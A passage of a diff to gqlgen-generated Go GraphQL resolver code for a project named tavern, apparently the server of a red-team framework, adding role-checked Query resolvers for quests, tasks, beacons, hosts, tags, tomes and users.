+			return nil, fmt.Errorf("no field named %q was found under type File", field.Name)
 		},
 	}
+	defer func() {
+		if r := recover(); r != nil {
+			err = ec.Recover(ctx, r)
+			ec.Error(ctx, err)
+		}
+	}()
+	ctx = graphql.WithFieldContext(ctx, fc)
+	if fc.Args, err = ec.field_Query_files_args(ctx, field.ArgumentMap(ec.Variables)); err != nil {
+		ec.Error(ctx, err)
+		return fc, err
+	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Quest_lastModifiedAt(ctx context.Context, field graphql.CollectedField, obj *ent.Quest) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Quest_lastModifiedAt(ctx, field)
+func (ec *executionContext) _Query_quests(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Query_quests(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -4234,8 +3713,32 @@ func (ec *executionContext) _Quest_lastModifiedAt(ctx context.Context, field gra
 		}
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
-		ctx = rctx // use context from middleware stack in children
-		return obj.LastModifiedAt, nil
+		directive0 := func(rctx context.Context) (interface{}, error) {
+			ctx = rctx // use context from middleware stack in children
+			return ec.resolvers.Query().Quests(rctx, fc.Args["where"].(*ent.QuestWhereInput))
+		}
+		directive1 := func(ctx context.Context) (interface{}, error) {
+			role, err := ec.unmarshalNRole2realmᚗpubᚋtavernᚋinternalᚋgraphqlᚋmodelsᚐRole(ctx, "USER")
+			if err != nil {
+				return nil, err
+			}
+			if ec.directives.RequireRole == nil {
+				return nil, errors.New("directive requireRole is not implemented")
+			}
+			return ec.directives.RequireRole(ctx, nil, directive0, role)
+		}
+
+		tmp, err := directive1(rctx)
+		if err != nil {
+			return nil, graphql.ErrorOnPath(ctx, err)
+		}
+		if tmp == nil {
+			return nil, nil
+		}
+		if data, ok := tmp.([]*ent.Quest); ok {
+			return data, nil
+		}
+		return nil, fmt.Errorf(`unexpected type %T from directive, should be []*realm.pub/tavern/internal/ent.Quest`, tmp)
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -4247,70 +3750,57 @@ func (ec *executionContext) _Quest_lastModifiedAt(ctx context.Context, field gra
 		}
 		return graphql.Null
 	}
-	res := resTmp.(time.Time)
+	res := resTmp.([]*ent.Quest)
 	fc.Result = res
-	return ec.marshalNTime2timeᚐTime(ctx, field.Selections, res)
+	return ec.marshalNQuest2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐQuestᚄ(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Quest_lastModifiedAt(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Query_quests(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Quest",
+		Object:     "Query",
 		Field:      field,
-		IsMethod:   false,
-		IsResolver: false,
+		IsMethod:   true,
+		IsResolver: true,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type Time does not have child fields")
-		},
-	}
-	return fc, nil
-}
-
-func (ec *executionContext) _Quest_name(ctx context.Context, field graphql.CollectedField, obj *ent.Quest) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Quest_name(ctx, field)
-	if err != nil {
-		return graphql.Null
+			switch field.Name {
+			case "id":
+				return ec.fieldContext_Quest_id(ctx, field)
+			case "createdAt":
+				return ec.fieldContext_Quest_createdAt(ctx, field)
+			case "lastModifiedAt":
+				return ec.fieldContext_Quest_lastModifiedAt(ctx, field)
+			case "name":
+				return ec.fieldContext_Quest_name(ctx, field)
+			case "parameters":
+				return ec.fieldContext_Quest_parameters(ctx, field)
+			case "tome":
+				return ec.fieldContext_Quest_tome(ctx, field)
+			case "bundle":
+				return ec.fieldContext_Quest_bundle(ctx, field)
+			case "tasks":
+				return ec.fieldContext_Quest_tasks(ctx, field)
+			case "creator":
+				return ec.fieldContext_Quest_creator(ctx, field)
+			}
+			return nil, fmt.Errorf("no field named %q was found under type Quest", field.Name)
+		},
 	}
-	ctx = graphql.WithFieldContext(ctx, fc)
 	defer func() {
 		if r := recover(); r != nil {
-			ec.Error(ctx, ec.Recover(ctx, r))
-			ret = graphql.Null
+			err = ec.Recover(ctx, r)
+			ec.Error(ctx, err)
 		}
 	}()
-	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
-		ctx = rctx // use context from middleware stack in children
-		return obj.Name, nil
-	})
-	if err != nil {
+	ctx = graphql.WithFieldContext(ctx, fc)
+	if fc.Args, err = ec.field_Query_quests_args(ctx, field.ArgumentMap(ec.Variables)); err != nil {
 		ec.Error(ctx, err)
-		return graphql.Null
-	}
-	if resTmp == nil {
-		if !graphql.HasFieldError(ctx, fc) {
-			ec.Errorf(ctx, "must not be null")
-		}
-		return graphql.Null
-	}
-	res := resTmp.(string)
-	fc.Result = res
-	return ec.marshalNString2string(ctx, field.Selections, res)
-}
-
-func (ec *executionContext) fieldContext_Quest_name(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
-	fc = &graphql.FieldContext{
-		Object:     "Quest",
-		Field:      field,
-		IsMethod:   false,
-		IsResolver: false,
-		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type String does not have child fields")
-		},
+		return fc, err
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Quest_parameters(ctx context.Context, field graphql.CollectedField, obj *ent.Quest) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Quest_parameters(ctx, field)
+func (ec *executionContext) _Query_tasks(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Query_tasks(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -4322,36 +3812,82 @@ func (ec *executionContext) _Quest_parameters(ctx context.Context, field graphql
 		}
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
-		ctx = rctx // use context from middleware stack in children
-		return obj.Parameters, nil
+		directive0 := func(rctx context.Context) (interface{}, error) {
+			ctx = rctx // use context from middleware stack in children
+			return ec.resolvers.Query().Tasks(rctx, fc.Args["after"].(*entgql.Cursor[int]), fc.Args["first"].(*int), fc.Args["before"].(*entgql.Cursor[int]), fc.Args["last"].(*int), fc.Args["orderBy"].([]*ent.TaskOrder), fc.Args["where"].(*ent.TaskWhereInput))
+		}
+		directive1 := func(ctx context.Context) (interface{}, error) {
+			role, err := ec.unmarshalNRole2realmᚗpubᚋtavernᚋinternalᚋgraphqlᚋmodelsᚐRole(ctx, "USER")
+			if err != nil {
+				return nil, err
+			}
+			if ec.directives.RequireRole == nil {
+				return nil, errors.New("directive requireRole is not implemented")
+			}
+			return ec.directives.RequireRole(ctx, nil, directive0, role)
+		}
+
+		tmp, err := directive1(rctx)
+		if err != nil {
+			return nil, graphql.ErrorOnPath(ctx, err)
+		}
+		if tmp == nil {
+			return nil, nil
+		}
+		if data, ok := tmp.(*ent.TaskConnection); ok {
+			return data, nil
+		}
+		return nil, fmt.Errorf(`unexpected type %T from directive, should be *realm.pub/tavern/internal/ent.TaskConnection`, tmp)
 	})
 	if err != nil {
 		ec.Error(ctx, err)
 		return graphql.Null
 	}
 	if resTmp == nil {
+		if !graphql.HasFieldError(ctx, fc) {
+			ec.Errorf(ctx, "must not be null")
+		}
 		return graphql.Null
 	}
-	res := resTmp.(string)
+	res := resTmp.(*ent.TaskConnection)
 	fc.Result = res
-	return ec.marshalOString2string(ctx, field.Selections, res)
+	return ec.marshalNTaskConnection2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐTaskConnection(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Quest_parameters(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Query_tasks(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Quest",
+		Object:     "Query",
 		Field:      field,
-		IsMethod:   false,
-		IsResolver: false,
+		IsMethod:   true,
+		IsResolver: true,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type String does not have child fields")
+			switch field.Name {
+			case "edges":
+				return ec.fieldContext_TaskConnection_edges(ctx, field)
+			case "pageInfo":
+				return ec.fieldContext_TaskConnection_pageInfo(ctx, field)
+			case "totalCount":
+				return ec.fieldContext_TaskConnection_totalCount(ctx, field)
+			}
+			return nil, fmt.Errorf("no field named %q was found under type TaskConnection", field.Name)
 		},
 	}
+	defer func() {
+		if r := recover(); r != nil {
+			err = ec.Recover(ctx, r)
+			ec.Error(ctx, err)
+		}
+	}()
+	ctx = graphql.WithFieldContext(ctx, fc)
+	if fc.Args, err = ec.field_Query_tasks_args(ctx, field.ArgumentMap(ec.Variables)); err != nil {
+		ec.Error(ctx, err)
+		return fc, err
+	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Quest_tome(ctx context.Context, field graphql.CollectedField, obj *ent.Quest) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Quest_tome(ctx, field)
+func (ec *executionContext) _Query_beacons(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Query_beacons(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -4363,8 +3899,32 @@ func (ec *executionContext) _Quest_tome(ctx context.Context, field graphql.Colle
 		}
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
-		ctx = rctx // use context from middleware stack in children
-		return obj.Tome(ctx)
+		directive0 := func(rctx context.Context) (interface{}, error) {
+			ctx = rctx // use context from middleware stack in children
+			return ec.resolvers.Query().Beacons(rctx, fc.Args["where"].(*ent.BeaconWhereInput))
+		}
+		directive1 := func(ctx context.Context) (interface{}, error) {
+			role, err := ec.unmarshalNRole2realmᚗpubᚋtavernᚋinternalᚋgraphqlᚋmodelsᚐRole(ctx, "USER")
+			if err != nil {
+				return nil, err
+			}
+			if ec.directives.RequireRole == nil {
+				return nil, errors.New("directive requireRole is not implemented")
+			}
+			return ec.directives.RequireRole(ctx, nil, directive0, role)
+		}
+
+		tmp, err := directive1(rctx)
+		if err != nil {
+			return nil, graphql.ErrorOnPath(ctx, err)
+		}
+		if tmp == nil {
+			return nil, nil
+		}
+		if data, ok := tmp.([]*ent.Beacon); ok {
+			return data, nil
+		}
+		return nil, fmt.Errorf(`unexpected type %T from directive, should be []*realm.pub/tavern/internal/ent.Beacon`, tmp)
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -4376,52 +3936,61 @@ func (ec *executionContext) _Quest_tome(ctx context.Context, field graphql.Colle
 		}
 		return graphql.Null
 	}
-	res := resTmp.(*ent.Tome)
+	res := resTmp.([]*ent.Beacon)
 	fc.Result = res
-	return ec.marshalNTome2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐTome(ctx, field.Selections, res)
+	return ec.marshalNBeacon2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐBeaconᚄ(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Quest_tome(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Query_beacons(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Quest",
+		Object:     "Query",
 		Field:      field,
 		IsMethod:   true,
-		IsResolver: false,
+		IsResolver: true,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
 			switch field.Name {
 			case "id":
-				return ec.fieldContext_Tome_id(ctx, field)
+				return ec.fieldContext_Beacon_id(ctx, field)
 			case "createdAt":
-				return ec.fieldContext_Tome_createdAt(ctx, field)
+				return ec.fieldContext_Beacon_createdAt(ctx, field)
 			case "lastModifiedAt":
-				return ec.fieldContext_Tome_lastModifiedAt(ctx, field)
+				return ec.fieldContext_Beacon_lastModifiedAt(ctx, field)
 			case "name":
-				return ec.fieldContext_Tome_name(ctx, field)
-			case "description":
-				return ec.fieldContext_Tome_description(ctx, field)
-			case "author":
-				return ec.fieldContext_Tome_author(ctx, field)
-			case "supportModel":
-				return ec.fieldContext_Tome_supportModel(ctx, field)
-			case "tactic":
-				return ec.fieldContext_Tome_tactic(ctx, field)
-			case "paramDefs":
-				return ec.fieldContext_Tome_paramDefs(ctx, field)
-			case "eldritch":
-				return ec.fieldContext_Tome_eldritch(ctx, field)
-			case "files":
-				return ec.fieldContext_Tome_files(ctx, field)
-			case "uploader":
-				return ec.fieldContext_Tome_uploader(ctx, field)
+				return ec.fieldContext_Beacon_name(ctx, field)
+			case "principal":
+				return ec.fieldContext_Beacon_principal(ctx, field)
+			case "identifier":
+				return ec.fieldContext_Beacon_identifier(ctx, field)
+			case "agentIdentifier":
+				return ec.fieldContext_Beacon_agentIdentifier(ctx, field)
+			case "lastSeenAt":
+				return ec.fieldContext_Beacon_lastSeenAt(ctx, field)
+			case "interval":
+				return ec.fieldContext_Beacon_interval(ctx, field)
+			case "host":
+				return ec.fieldContext_Beacon_host(ctx, field)
+			case "tasks":
+				return ec.fieldContext_Beacon_tasks(ctx, field)
 			}
-			return nil, fmt.Errorf("no field named %q was found under type Tome", field.Name)
+			return nil, fmt.Errorf("no field named %q was found under type Beacon", field.Name)
 		},
 	}
+	defer func() {
+		if r := recover(); r != nil {
+			err = ec.Recover(ctx, r)
+			ec.Error(ctx, err)
+		}
+	}()
+	ctx = graphql.WithFieldContext(ctx, fc)
+	if fc.Args, err = ec.field_Query_beacons_args(ctx, field.ArgumentMap(ec.Variables)); err != nil {
+		ec.Error(ctx, err)
+		return fc, err
+	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Quest_bundle(ctx context.Context, field graphql.CollectedField, obj *ent.Quest) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Quest_bundle(ctx, field)
+func (ec *executionContext) _Query_hosts(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Query_hosts(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -4433,52 +4002,102 @@ func (ec *executionContext) _Quest_bundle(ctx context.Context, field graphql.Col
 		}
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
-		ctx = rctx // use context from middleware stack in children
-		return obj.Bundle(ctx)
+		directive0 := func(rctx context.Context) (interface{}, error) {
+			ctx = rctx // use context from middleware stack in children
+			return ec.resolvers.Query().Hosts(rctx, fc.Args["where"].(*ent.HostWhereInput))
+		}
+		directive1 := func(ctx context.Context) (interface{}, error) {
+			role, err := ec.unmarshalNRole2realmᚗpubᚋtavernᚋinternalᚋgraphqlᚋmodelsᚐRole(ctx, "USER")
+			if err != nil {
+				return nil, err
+			}
+			if ec.directives.RequireRole == nil {
+				return nil, errors.New("directive requireRole is not implemented")
+			}
+			return ec.directives.RequireRole(ctx, nil, directive0, role)
+		}
+
+		tmp, err := directive1(rctx)
+		if err != nil {
+			return nil, graphql.ErrorOnPath(ctx, err)
+		}
+		if tmp == nil {
+			return nil, nil
+		}
+		if data, ok := tmp.([]*ent.Host); ok {
+			return data, nil
+		}
+		return nil, fmt.Errorf(`unexpected type %T from directive, should be []*realm.pub/tavern/internal/ent.Host`, tmp)
 	})
 	if err != nil {
 		ec.Error(ctx, err)
 		return graphql.Null
 	}
 	if resTmp == nil {
+		if !graphql.HasFieldError(ctx, fc) {
+			ec.Errorf(ctx, "must not be null")
+		}
 		return graphql.Null
 	}
-	res := resTmp.(*ent.File)
+	res := resTmp.([]*ent.Host)
 	fc.Result = res
-	return ec.marshalOFile2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐFile(ctx, field.Selections, res)
+	return ec.marshalNHost2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐHostᚄ(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Quest_bundle(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Query_hosts(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Quest",
+		Object:     "Query",
 		Field:      field,
 		IsMethod:   true,
-		IsResolver: false,
+		IsResolver: true,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
 			switch field.Name {
 			case "id":
-				return ec.fieldContext_File_id(ctx, field)
+				return ec.fieldContext_Host_id(ctx, field)
 			case "createdAt":
-				return ec.fieldContext_File_createdAt(ctx, field)
+				return ec.fieldContext_Host_createdAt(ctx, field)
 			case "lastModifiedAt":
-				return ec.fieldContext_File_lastModifiedAt(ctx, field)
+				return ec.fieldContext_Host_lastModifiedAt(ctx, field)
+			case "identifier":
+				return ec.fieldContext_Host_identifier(ctx, field)
 			case "name":
-				return ec.fieldContext_File_name(ctx, field)
-			case "size":
-				return ec.fieldContext_File_size(ctx, field)
-			case "hash":
-				return ec.fieldContext_File_hash(ctx, field)
-			case "tomes":
-				return ec.fieldContext_File_tomes(ctx, field)
+				return ec.fieldContext_Host_name(ctx, field)
+			case "primaryIP":
+				return ec.fieldContext_Host_primaryIP(ctx, field)
+			case "platform":
+				return ec.fieldContext_Host_platform(ctx, field)
+			case "lastSeenAt":
+				return ec.fieldContext_Host_lastSeenAt(ctx, field)
+			case "tags":
+				return ec.fieldContext_Host_tags(ctx, field)
+			case "beacons":
+				return ec.fieldContext_Host_beacons(ctx, field)
+			case "files":
+				return ec.fieldContext_Host_files(ctx, field)
+			case "processes":
+				return ec.fieldContext_Host_processes(ctx, field)
+			case "credentials":
+				return ec.fieldContext_Host_credentials(ctx, field)
 			}
-			return nil, fmt.Errorf("no field named %q was found under type File", field.Name)
+			return nil, fmt.Errorf("no field named %q was found under type Host", field.Name)
 		},
 	}
+	defer func() {
+		if r := recover(); r != nil {
+			err = ec.Recover(ctx, r)
+			ec.Error(ctx, err)
+		}
+	}()
+	ctx = graphql.WithFieldContext(ctx, fc)
+	if fc.Args, err = ec.field_Query_hosts_args(ctx, field.ArgumentMap(ec.Variables)); err != nil {
+		ec.Error(ctx, err)
+		return fc, err
+	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Quest_tasks(ctx context.Context, field graphql.CollectedField, obj *ent.Quest) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Quest_tasks(ctx, field)
+func (ec *executionContext) _Query_tags(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Query_tags(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -4490,64 +4109,84 @@ func (ec *executionContext) _Quest_tasks(ctx context.Context, field graphql.Coll
 		}
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
-		ctx = rctx // use context from middleware stack in children
-		return obj.Tasks(ctx)
+		directive0 := func(rctx context.Context) (interface{}, error) {
+			ctx = rctx // use context from middleware stack in children
+			return ec.resolvers.Query().Tags(rctx, fc.Args["where"].(*ent.TagWhereInput))
+		}
+		directive1 := func(ctx context.Context) (interface{}, error) {
+			role, err := ec.unmarshalNRole2realmᚗpubᚋtavernᚋinternalᚋgraphqlᚋmodelsᚐRole(ctx, "USER")
+			if err != nil {
+				return nil, err
+			}
+			if ec.directives.RequireRole == nil {
+				return nil, errors.New("directive requireRole is not implemented")
+			}
+			return ec.directives.RequireRole(ctx, nil, directive0, role)
+		}
+
+		tmp, err := directive1(rctx)
+		if err != nil {
+			return nil, graphql.ErrorOnPath(ctx, err)
+		}
+		if tmp == nil {
+			return nil, nil
+		}
+		if data, ok := tmp.([]*ent.Tag); ok {
+			return data, nil
+		}
+		return nil, fmt.Errorf(`unexpected type %T from directive, should be []*realm.pub/tavern/internal/ent.Tag`, tmp)
 	})
 	if err != nil {
 		ec.Error(ctx, err)
 		return graphql.Null
 	}
 	if resTmp == nil {
+		if !graphql.HasFieldError(ctx, fc) {
+			ec.Errorf(ctx, "must not be null")
+		}
 		return graphql.Null
 	}
-	res := resTmp.([]*ent.Task)
+	res := resTmp.([]*ent.Tag)
 	fc.Result = res
-	return ec.marshalOTask2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐTaskᚄ(ctx, field.Selections, res)
+	return ec.marshalNTag2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐTagᚄ(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Quest_tasks(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Query_tags(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Quest",
+		Object:     "Query",
 		Field:      field,
 		IsMethod:   true,
-		IsResolver: false,
+		IsResolver: true,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
 			switch field.Name {
 			case "id":
-				return ec.fieldContext_Task_id(ctx, field)
-			case "createdAt":
-				return ec.fieldContext_Task_createdAt(ctx, field)
-			case "lastModifiedAt":
-				return ec.fieldContext_Task_lastModifiedAt(ctx, field)
-			case "claimedAt":
-				return ec.fieldContext_Task_claimedAt(ctx, field)
-			case "execStartedAt":
-				return ec.fieldContext_Task_execStartedAt(ctx, field)
-			case "execFinishedAt":
-				return ec.fieldContext_Task_execFinishedAt(ctx, field)
-			case "output":
-				return ec.fieldContext_Task_output(ctx, field)
-			case "outputSize":
-				return ec.fieldContext_Task_outputSize(ctx, field)
-			case "error":
-				return ec.fieldContext_Task_error(ctx, field)
-			case "quest":
-				return ec.fieldContext_Task_quest(ctx, field)
-			case "beacon":
-				return ec.fieldContext_Task_beacon(ctx, field)
-			case "reportedFiles":
-				return ec.fieldContext_Task_reportedFiles(ctx, field)
-			case "reportedProcesses":
-				return ec.fieldContext_Task_reportedProcesses(ctx, field)
+				return ec.fieldContext_Tag_id(ctx, field)
+			case "name":
+				return ec.fieldContext_Tag_name(ctx, field)
+			case "kind":
+				return ec.fieldContext_Tag_kind(ctx, field)
+			case "hosts":
+				return ec.fieldContext_Tag_hosts(ctx, field)
 			}
-			return nil, fmt.Errorf("no field named %q was found under type Task", field.Name)
+			return nil, fmt.Errorf("no field named %q was found under type Tag", field.Name)
 		},
 	}
+	defer func() {
+		if r := recover(); r != nil {
+			err = ec.Recover(ctx, r)
+			ec.Error(ctx, err)
+		}
+	}()
+	ctx = graphql.WithFieldContext(ctx, fc)
+	if fc.Args, err = ec.field_Query_tags_args(ctx, field.ArgumentMap(ec.Variables)); err != nil {
+		ec.Error(ctx, err)
+		return fc, err
+	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Quest_creator(ctx context.Context, field graphql.CollectedField, obj *ent.Quest) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Quest_creator(ctx, field)
+func (ec *executionContext) _Query_tomes(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Query_tomes(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -4559,50 +4198,100 @@ func (ec *executionContext) _Quest_creator(ctx context.Context, field graphql.Co
 		}
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
-		ctx = rctx // use context from middleware stack in children
-		return obj.Creator(ctx)
+		directive0 := func(rctx context.Context) (interface{}, error) {
+			ctx = rctx // use context from middleware stack in children
+			return ec.resolvers.Query().Tomes(rctx, fc.Args["where"].(*ent.TomeWhereInput))
+		}
+		directive1 := func(ctx context.Context) (interface{}, error) {
+			role, err := ec.unmarshalNRole2realmᚗpubᚋtavernᚋinternalᚋgraphqlᚋmodelsᚐRole(ctx, "USER")
+			if err != nil {
+				return nil, err
+			}
+			if ec.directives.RequireRole == nil {
+				return nil, errors.New("directive requireRole is not implemented")
+			}
+			return ec.directives.RequireRole(ctx, nil, directive0, role)
+		}
+
+		tmp, err := directive1(rctx)
+		if err != nil {
+			return nil, graphql.ErrorOnPath(ctx, err)
+		}
+		if tmp == nil {
+			return nil, nil
+		}
+		if data, ok := tmp.([]*ent.Tome); ok {
+			return data, nil
+		}
+		return nil, fmt.Errorf(`unexpected type %T from directive, should be []*realm.pub/tavern/internal/ent.Tome`, tmp)
 	})
 	if err != nil {
 		ec.Error(ctx, err)
 		return graphql.Null
 	}
 	if resTmp == nil {
+		if !graphql.HasFieldError(ctx, fc) {
+			ec.Errorf(ctx, "must not be null")
+		}
 		return graphql.Null
 	}
-	res := resTmp.(*ent.User)
+	res := resTmp.([]*ent.Tome)
 	fc.Result = res
-	return ec.marshalOUser2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐUser(ctx, field.Selections, res)
+	return ec.marshalNTome2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐTomeᚄ(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Quest_creator(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Query_tomes(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Quest",
+		Object:     "Query",
 		Field:      field,
 		IsMethod:   true,
-		IsResolver: false,
+		IsResolver: true,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
 			switch field.Name {
 			case "id":
-				return ec.fieldContext_User_id(ctx, field)
+				return ec.fieldContext_Tome_id(ctx, field)
+			case "createdAt":
+				return ec.fieldContext_Tome_createdAt(ctx, field)
+			case "lastModifiedAt":
+				return ec.fieldContext_Tome_lastModifiedAt(ctx, field)
 			case "name":
-				return ec.fieldContext_User_name(ctx, field)
-			case "photoURL":
-				return ec.fieldContext_User_photoURL(ctx, field)
-			case "isActivated":
-				return ec.fieldContext_User_isActivated(ctx, field)
-			case "isAdmin":
-				return ec.fieldContext_User_isAdmin(ctx, field)
-			case "tomes":
-				return ec.fieldContext_User_tomes(ctx, field)
+				return ec.fieldContext_Tome_name(ctx, field)
+			case "description":
+				return ec.fieldContext_Tome_description(ctx, field)
+			case "author":
+				return ec.fieldContext_Tome_author(ctx, field)
+			case "supportModel":
+				return ec.fieldContext_Tome_supportModel(ctx, field)
+			case "tactic":
+				return ec.fieldContext_Tome_tactic(ctx, field)
+			case "paramDefs":
+				return ec.fieldContext_Tome_paramDefs(ctx, field)
+			case "eldritch":
+				return ec.fieldContext_Tome_eldritch(ctx, field)
+			case "files":
+				return ec.fieldContext_Tome_files(ctx, field)
+			case "uploader":
+				return ec.fieldContext_Tome_uploader(ctx, field)
 			}
-			return nil, fmt.Errorf("no field named %q was found under type User", field.Name)
+			return nil, fmt.Errorf("no field named %q was found under type Tome", field.Name)
 		},
 	}
+	defer func() {
+		if r := recover(); r != nil {
+			err = ec.Recover(ctx, r)
+			ec.Error(ctx, err)
+		}
+	}()
+	ctx = graphql.WithFieldContext(ctx, fc)
+	if fc.Args, err = ec.field_Query_tomes_args(ctx, field.ArgumentMap(ec.Variables)); err != nil {
+		ec.Error(ctx, err)
+		return fc, err
+	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Tag_id(ctx context.Context, field graphql.CollectedField, obj *ent.Tag) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Tag_id(ctx, field)
+func (ec *executionContext) _Query_users(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Query_users(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -4614,39 +4303,88 @@ func (ec *executionContext) _Tag_id(ctx context.Context, field graphql.Collected
 		}
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
-		ctx = rctx // use context from middleware stack in children
-		return obj.ID, nil
-	})
-	if err != nil {
-		ec.Error(ctx, err)
-		return graphql.Null
-	}
-	if resTmp == nil {
-		if !graphql.HasFieldError(ctx, fc) {
-			ec.Errorf(ctx, "must not be null")
+		directive0 := func(rctx context.Context) (interface{}, error) {
+			ctx = rctx // use context from middleware stack in children
+			return ec.resolvers.Query().Users(rctx, fc.Args["where"].(*ent.UserWhereInput))
+		}
+		directive1 := func(ctx context.Context) (interface{}, error) {
+			role, err := ec.unmarshalNRole2realmᚗpubᚋtavernᚋinternalᚋgraphqlᚋmodelsᚐRole(ctx, "USER")
+			if err != nil {
+				return nil, err
+			}
+			if ec.directives.RequireRole == nil {
+				return nil, errors.New("directive requireRole is not implemented")
+			}
+			return ec.directives.RequireRole(ctx, nil, directive0, role)
 		}
-		return graphql.Null
-	}
-	res := resTmp.(int)
-	fc.Result = res
-	return ec.marshalNID2int(ctx, field.Selections, res)
-}
 
-func (ec *executionContext) fieldContext_Tag_id(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+		tmp, err := directive1(rctx)
+		if err != nil {
+			return nil, graphql.ErrorOnPath(ctx, err)
+		}
+		if tmp == nil {
+			return nil, nil
+		}
+		if data, ok := tmp.([]*ent.User); ok {
+			return data, nil
+		}
+		return nil, fmt.Errorf(`unexpected type %T from directive, should be []*realm.pub/tavern/internal/ent.User`, tmp)
+	})
+	if err != nil {
+		ec.Error(ctx, err)
+		return graphql.Null
+	}
+	if resTmp == nil {
+		if !graphql.HasFieldError(ctx, fc) {
+			ec.Errorf(ctx, "must not be null")
+		}
+		return graphql.Null
+	}
